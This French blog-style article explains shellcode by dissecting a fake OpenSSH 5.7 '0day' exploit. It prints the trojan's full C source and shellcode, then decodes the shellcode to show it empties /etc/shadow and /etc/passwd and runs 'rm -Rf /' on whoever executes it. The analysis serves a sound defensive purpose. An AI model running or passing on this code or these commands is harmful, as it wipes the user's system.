Un shellcode est une chaîne de caractères que l'on injecte en mémoire, afin d’exécuter du code en dehors de l'espace normalement alloué. Cette technique est utilisée dans le monde du piratage informatique, car elle permet aux personnes malveillantes de lancer des actions sur des machines, après avoir trouvé une faille de sécurité (de type Buffer Overflow).
Sur Internet, on tombe parfois sur des hackers qui se vantent d'avoir trouvé une faille de sécurité dans un logiciel et propose d'utiliser leur exploit. On peut prendre l'exemple de Chroniccommand, qui le 26 janvier 2011 a publié un exploit 0day pour OpenSSH :
/* openSSH 5.7 0day exploit Off by One error in auth2-pubkey.c Author: Chroniccommand Usage: ./exploit <host> <ip> greetz to _st4ck3d*, x3n0n, xin etc you know who you are */ #include <stdio.h> #include <netdb.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void usage(char *argv[]) { printf("Usage: %s <target> <port>\n", argv[0]); exit(1); } unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65" "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73" "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22" "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20" "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1" "\xcd\x80"; int main(int argc, char *argv[]) { int uid = getuid(); int port = 22, sock; struct hostent *host; struct sockaddr_in addr; if(uid !=0) { fprintf(stderr, "[!!]Error: You must be root\n"); exit(1); } if(uid == 0) { printf("\t[+]Starting exploit..\n"); } if(argc != 3) usage(argv); fprintf(stderr, "[!!]Exploit failed\n"); (*(void(*)())shellcode)(); exit(1); char payload[1024]; memcpy(payload, &shellcode, sizeof(shellcode)); if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0) { printf("[+]Got shell\n"); system("/bin/sh"); } else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1) { fprintf(stderr, "[!!]Exploit failed\n"); exit(1); } }
C'est dans ce genre de situation qu'il est intéressant de savoir comment décoder un shellcode, afin de bien comprendre les actions effectuées par le code, plutôt que de l'exécuter bêtement. Dans le cas ci-dessus, on va dans un premier temps mettre le shellcode sur une seule ligne :
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"
Puis, on va lancer les deux commandes suivantes pour le décoder :
$ perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' > code$ strings code
Rfh-c
h/sh
h/bin
echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /
L'exploit de Chroniccommand est donc un fake plutôt dangereux. Si une personne s'aventure à l'exécuter, son système sera entièrement effacé par les commandes suivantes :
echo "" > /etc/shadow
echo "" > /etc/passwd
rm -Rf /
Il faut donc rester vigilant à ce que l'on trouve dans le monde de l'underground. Pour ma part, j'analyse toujours le code avant de l'exécuter dans une machine virtuelle dédiée, afin de me prémunir de tout risque.